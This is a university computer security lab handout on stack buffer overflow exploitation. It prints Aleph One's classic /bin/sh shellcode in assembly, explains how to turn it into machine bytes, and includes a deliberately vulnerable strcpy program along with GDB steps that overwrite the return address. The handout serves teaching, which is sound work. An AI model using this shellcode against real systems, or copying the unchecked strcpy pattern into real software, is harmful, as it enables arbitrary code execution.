Buffer Overflow: Stack Overflow Exploit

S7 / S5 B.Tech: Computer Security Lab

Extended Due Date: 26 August 2021 10:00 PM

This content is inherited from my Professor Sandeep Kumar.

This lab must be done in groups of two. Evaluation would be done individually, by randomly selecting a person from one group, and the same marks woulds be given for everyone in the same group. So it is mandatory to make sure that your team member is able to demonstrate it well. We will ask you to demo your overflow exploit, and related questions. I'll see how efficiently you can do it, whether you understand why the attack works and answers all questions. There is no written material to be returned with the lab. Everyone, individually has to submit a recorded video with audio commentary via Google Drive, and sharing its URL via eduserver, before the deadline.

All system registers used in this assignment is based on x86 Architecture.

The students are expected to do this assignment with the code given bellow. If they are not able to do it based on the code given bellow, they are allowed to use the code taken from internet sources for demonstrating the attack. **This would be evaluated with a small reduction in mark.**

1 Getting the shellcode

Consider the following assembly code corresponding to Aleph's One's shellcode:

```
jmp line

address:
popl %esi
movl %esi, 0x08(%esi)
xorl %eax, %eax
movl %eax, 0xc(%esi)
movb %al, 0x7(%esi)
movb $0xb, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80

xorl %ebx, %ebx
movl %ebx, %eax
inc %eax
int $0x80

line:
call address
.string "/bin/sh"
```

Can you explain what this code does and how it can be used in a stack overflow attack? Translate this assembly code into a sequence of bytes that corresponds to the compiled version of the code.

1.1 Translating assembly code to machine instruction bytes

You can do that by wrapping these assembly instructions in a *gcc asm* instruction within an otherwise empty function and displaying the compiled code using **objdump -D**. For example, compiling the code below

```
void foo()
    {
        asm("jmp line\n\t"
         "address: popl %esi\n\t"
         "movl %esi, 0x08(%esi)\n\t"
         "xorl %eax, %eax\n\t"
"movl %eax, 0xc(%esi)\n\t"
"movb %al, 0x7(%esi)\n\t"
"movb $0xb, %al\n\t"
"movl %esi, %ebx\n\t"
"leal 0x8(%esi), %ecx\n\t"
"leal 0xc(%esi), %edx\n\t"
"int $0x80\n\t"

"xorl %ebx, %ebx\n\t"
"movl %ebx, %eax\n\t"
"inc %eax\n\t"
"int $0x80\n\t"

"line: call address\n\t"
".string \"/bin/sh\"\n\t"
);
}

int main()
{
foo();
}
```

as

```
gcc foo.c
objdump -d a.out
```

should reveal the bytes corresponding to the compiled function foo. It should be something like hex **eb1f..7368**. Now let's see how we can execute this shellcode within a C program.

2 Executing shellcode in the data section

Consider the following program:

```
    char shellcode[] = "\xeb\x1f...";

    int main(int argc, char *argv[])
            {
                void (*shell)() = (void *) shellcode;
                shell();
                return 0;
            }
```

What happens when you execute this program with the shellcode? Can you explain why it works?

3 Executing shellcode on the stack

Now consider that we want to exploit a buffer overflow in the following program, target.c.

```
char shellcode[] = "\xeb\x1f...";
int foo(char *arg)
    {
        char buf[256];
        strcpy(buf, arg);
        return 0;
    }

int main(int argc, char *argv[])
    {
        foo(shellcode);
        return 0;
    }
```

You can think of this program as receiving the *shellcode* somehow (we just embed it in the program directly for simplicity) and calling the vulnerable function *foo* within. The function *foo* should overflow the current activation record to overwrite the return address to point to the top of the buffer **buf**. However, you should verify that the address of **buf** changes with each execution run. That is because of **ASLR**. Linux kernels $\geq$ 2:6:16 implement a defence mechanism against overflow attacks known as **ASLR** which randomizes the start of segments that includes the stack segment.

So for this lab you will manually determine the address of **buf** for a given execution run and override the return address on the stack when you are inside the function *foo*. This will also give you good practice in using the GNU debugger **GDB**.

Once you are inside the function *foo* (use GDB command: **b foo**), you can examine the address of *buf* with the GDB command **p &buf** and you can override the return address with the GDB command

$$set\ int(\$ebp + 4) = \&buf.$$

Can you explain what you just did and what you see?

4 Readings

1. Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade.
2. Vivek Ramachandran's excellent video on stack smashing.
3. The classic Aleph One description: Smashing The Stack For Fun And Profit.
4. Modern Exploitation and Memory Protection Bypasses by Alex Sotirov.
5. The latest Intel architecture manuals can be downloaded from here. I used the manuals published in 1999 for my description of segmentation and paging for the x86 architecture.